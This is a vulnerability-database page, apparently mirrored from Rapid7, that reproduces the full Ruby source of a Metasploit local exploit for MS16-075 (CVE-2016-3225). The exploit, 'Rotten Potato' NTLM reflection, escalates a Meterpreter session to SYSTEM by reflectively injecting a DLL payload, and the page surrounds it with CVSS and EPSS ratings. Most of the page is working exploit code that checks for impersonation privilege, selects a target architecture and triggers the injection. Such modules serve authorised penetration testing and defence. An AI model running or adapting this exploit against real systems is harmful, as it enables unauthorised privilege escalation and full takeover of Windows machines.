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metasploitFoxGloveSec, breenmachine, MumbaiMSF:EXPLOIT-WINDOWS-LOCAL-MS16_075_REFLECTION-
HistoryAug 03, 2018 - 6:09 a.m.

Windows Net-NTLMv2 Reflection DCOM/RPC

2018-08-0306:09:24
FoxGloveSec, breenmachine, Mumbai
www.rapid7.com
41

7.2 High

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

0.677 Medium

EPSS

Percentile

98.0%

Module utilizes the Net-NTLMv2 reflection between DCOM/RPC to achieve a SYSTEM handle for elevation of privilege. Currently the module does not spawn as SYSTEM, however once achieving a shell, one can easily use incognito to impersonate the token.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC',
          'Description' => %q{
            Module utilizes the Net-NTLMv2 reflection between DCOM/RPC
            to achieve a SYSTEM handle for elevation of privilege. Currently the module
            does not spawn as SYSTEM, however once achieving a shell, one can easily
            use incognito to impersonate the token.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'FoxGloveSec', # the original Potato exploit
            'breenmachine', # Rotten Potato NG!
            'Mumbai' # Austin : port of RottenPotato for reflection & quick module
          ],
          'Arch' => [ARCH_X86, ARCH_X64],
          'Platform' => 'win',
          'SessionTypes' => ['meterpreter'],
          'DefaultOptions' => {
            'EXITFUNC' => 'none',
            'WfsDelay' => '20'
          },
          'Targets' => [
            ['Automatic', {}],
            ['Windows x86', { 'Arch' => ARCH_X86 }],
            ['Windows x64', { 'Arch' => ARCH_X64 }]
          ],
          'Payload' => {
            'DisableNops' => true
          },
          'References' => [
            ['MSB', 'MS16-075'],
            ['CVE', '2016-3225'],
            ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
            ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
            ['URL', 'https://github.com/breenmachine/RottenPotatoNG']
          ],
          'DisclosureDate' => '2016-01-16',
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_sys_config_getprivs
              ]
            }
          }
        }
      )
    )
  end

  def assign_target
    if target.name == 'Automatic'
      case sysinfo["Architecture"]
      when 'x86'
        vprint_status("Found we are on an x86 target")
        my_target = targets[1]
      when 'x64'
        vprint_status("Found we are on an x64 target")
        my_target = targets[2]
      else
        fail_with(Failure::NoTarget, "Unable to determine target")
      end
    else
      my_target = target
    end
    return my_target
  end

  def verify_arch(my_target)
    if my_target["Arch"] != sysinfo["Architecture"]
      print_error("Assigned Target Arch = #{my_target.opts['Arch']}")
      print_error("Actual Target Arch = #{sysinfo['Architecture']}")
      fail_with(Failure::BadConfig, "Assigned Arch does not match reality")
    end
    if client.arch != sysinfo["Architecture"]
      fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported")
    else
      vprint_good("Current payload and target Arch match....")
    end
  end

  def check
    privs = client.sys.config.getprivs
    if privs.include?('SeImpersonatePrivilege')
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end
    my_target = assign_target
    print_status("#{my_target['Arch']}")
    verify_arch(my_target)
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege')
    end
    if my_target.opts['Arch'] == 'x64'
      dll_file_name = 'rottenpotato.x64.dll'
      vprint_status("Assigning payload rottenpotato.x64.dll")
    elsif my_target.opts['Arch'] == 'x86'
      dll_file_name = 'rottenpotato.x86.dll'
      vprint_status("Assigning payload rottenpotato.x86.dll")
    else
      fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")
    end

    print_status("Reflectively injecting the exploit DLL and triggering the exploit...")

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name),
      encoded_payload
    )

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end

7.2 High

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

0.677 Medium

EPSS

Percentile

98.0%